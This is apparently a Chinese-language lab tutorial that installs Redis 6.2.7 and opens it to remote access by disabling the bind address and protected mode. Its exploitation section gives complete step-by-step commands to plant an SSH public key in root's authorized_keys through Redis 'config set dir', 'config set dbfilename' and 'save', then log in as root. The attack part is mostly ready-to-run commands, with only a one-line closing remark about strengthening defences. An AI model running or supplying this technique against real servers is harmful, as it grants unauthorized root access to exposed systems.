目录
一、Redis数据库介绍
非关系型数据库,采用键/值(key/value)对的方式进行存放。
二、部署
-
创建redis数据库
#安装编译环境
yum -y install gcc gcc-c++ make vim net-tools wget cmake
#下载redis数据库6.2.7版本
wget https://download.redis.io/releases/redis-6.2.7.tar.gz
#解压
tar zxf redis-6.2.7.tar.gz
#进入redis目录
cd redis-6.2.7
#开始下载并安装
make #下载
make install PREFIX=/usr/local/redis #安装到/usr/local/目录下
#添加环境变量
ln -s /usr/local/redis/bin/* /usr/local/bin/
注:这时已经可以运行redis数据库,但是是受远程保护的主redis数据库,远程连接的主机无法访问,所以需要进一步的操作
redis-server #可以查看启动
-
开启一个新的数据库
#进入redis目录
cd /root/redis-6.2.7/
#修改执行文件
vim utils/install_server.sh
#在末行模式输入set nu查看行数,将76到84行全部注释,如果不注释在执行时会报错
:set nu
:wq
#开始执行文件
./utils/install_server.sh
一路回车
#此时会有新数据库的远程文件生成,修改远程文件可以使其被远程访问
vim /etc/redis/6379.conf
修改如下数据:
#bind 127.0.0.1 -::1 #将其注释掉
protected-mode no #远程保护关闭
port 6399 #修改端口号进行验证
requirepass Woniu.123 #将密码前的注释去掉并修改密码,启用密码提高安全性
:wq
#开启新的redis数据库进行验证
redis-server /etc/redis/6379.conf
netstat -anpt
-
开始远程访问
注:远程的客户机也需要有redis数据库的客户端(其实也需要安装redis数据库)
#安装编译环境
yum -y install gcc gcc-c++ make vim net-tools wget cmake
#下载redis数据库6.2.7版本
wget https://download.redis.io/releases/redis-6.2.7.tar.gz
#解压
tar zxf redis-6.2.7.tar.gz
#进入redis目录
cd redis-6.2.7
#开始下载并安装
make #下载
make install PREFIX=/usr/local/redis #安装到/usr/local/目录下
#添加环境变量
ln -s /usr/local/redis/bin/* /usr/local/bin/
#启用远程连接
redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123
#-h 要连接的服务器的IP
#-p 要连接服务器的端口
#-a 要连接到服务器的密码
三、redis漏洞利用
-
redis未授权访问
- 注:此漏洞需要服务器有.ssh文件,以及没有禁用config命令
在客户机上操作:
#先生成ssh密钥对
ssh-keygen -t rsa
可以设置密码也可以不设置,我是没有设置一路回车
#此时就有了公钥与私钥的存放目录.ssh
#将公钥文件重新存放,前后增加换行从而保证前后不乱码
cd .ssh/ #进入文件目录
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
#将公钥文件存入redis服务器中
cat /root/.ssh/key.txt | redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123 -x set aaa
#验证自己的主服务器会发现多出一个aaa的键
#远程连接redis
redis-cli -h 192.168.137.130 -p 6399 -a Woniu.123
#使用config set去修改redis数据存放目录
config set dir /root/.ssh/
#验证
#使用config set去修改redis的数据存放名
config set dbfilename authorized_keys
#保存配置
save
-
用客户机去远程连接redis的ssh服务
ssh root@192.168.137.130
总结
redis数据库有安全漏洞,所以我们需要加强自身的安全防护。